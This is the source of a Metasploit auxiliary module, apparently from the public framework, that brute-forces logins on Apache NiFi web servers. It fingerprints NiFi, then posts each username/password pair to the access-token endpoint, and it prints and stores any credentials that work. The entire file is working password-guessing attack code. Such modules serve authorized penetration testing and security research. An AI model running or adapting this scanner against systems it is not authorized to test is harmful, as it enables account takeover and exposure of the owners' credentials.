CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Scanner
9
  include Msf::Auxiliary::AuthBrute
10
  include Msf::Auxiliary::Report
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Apache NiFi Login Scanner',
17
        'Description' => %q{
18
          This module attempts to take login details for Apache NiFi websites
19
          and identify if they are valid or not.
20

21
          Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0
22
          Also works against NiFi <= 1.13.0, but the module needs to be adjusted:
23
          set SSL false
24
          set rport 8080
25
        },
26
        'License' => MSF_LICENSE,
27
        'Author' => [
28
          'h00die', # msf module
29
        ],
30
        'Notes' => {
31
          'Stability' => [CRASH_SAFE],
32
          'Reliability' => [],
33
          'SideEffects' => [IOC_IN_LOGS]
34
        }
35
      )
36
    )
37
    register_options(
38
      [
39
        Opt::RPORT(8443),
40
        OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/'])
41
      ]
42
    )
43
    register_advanced_options([
44
      OptBool.new('SSL', [true, 'Negotiate SSL connection', true])
45
    ])
46
  end
47

48
  def report_cred(opts)
49
    service_data = {
50
      address: opts[:ip],
51
      port: opts[:port],
52
      service_name: opts[:service_name],
53
      protocol: 'tcp',
54
      workspace_id: myworkspace_id
55
    }
56

57
    credential_data = {
58
      origin_type: :service,
59
      module_fullname: fullname,
60
      username: opts[:user],
61
      private_data: opts[:password],
62
      private_type: :password
63
    }.merge(service_data)
64

65
    login_data = {
66
      core: create_credential(credential_data),
67
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
68
      last_attempted_at: DateTime.now,
69
      proof: opts[:proof]
70
    }.merge(service_data)
71

72
    create_credential_login(login_data)
73
  end
74

75
  def run_host(ip)
76
    vprint_status("Checking #{ip}")
77
    res = send_request_cgi!(
78
      'uri' => normalize_uri(target_uri.path, 'nifi', 'login')
79
    )
80

81
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
82
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
83

84
    fail_with(Failure::NotVulnerable, "Apache NiFi not detected on #{ip}") unless res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">}
85

86
    res = send_request_cgi!(
87
      'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'config')
88
    )
89
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
90
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
91

92
    res_json = res.get_json_document
93

94
    unless res_json.dig('config', 'supportsLogin')
95
      print_error("#{peer} - User login not supported, try visiting /nifi to gain access")
96
      return
97
    end
98

99
    each_user_pass do |user, pass|
100
      res = send_request_cgi!(
101
        'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'token'),
102
        'method' => 'POST',
103
        'vars_post' => {
104
          'username' => user,
105
          'password' => pass
106
        }
107
      )
108
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
109
      if res.code == 201
110
        print_good("#{peer} - Apache NiFi - Login successful as '#{user}' with password '#{pass}'")
111
        report_cred(
112
          ip: rhost,
113
          port: rport,
114
          service_name: (ssl ? 'https' : 'http'),
115
          user: user,
116
          password: pass,
117
          proof: res.body.to_s
118
        )
119
      elsif res.code == 409
120
        fail_with(Failure::BadConfig, "#{peer} - Logins only accepted on HTTPS")
121
      else
122
        vprint_error("#{peer} - Apache NiFi - Failed to login as '#{user}' with password '#{pass}'")
123
      end
124
    end
125
  end
126
end
127

128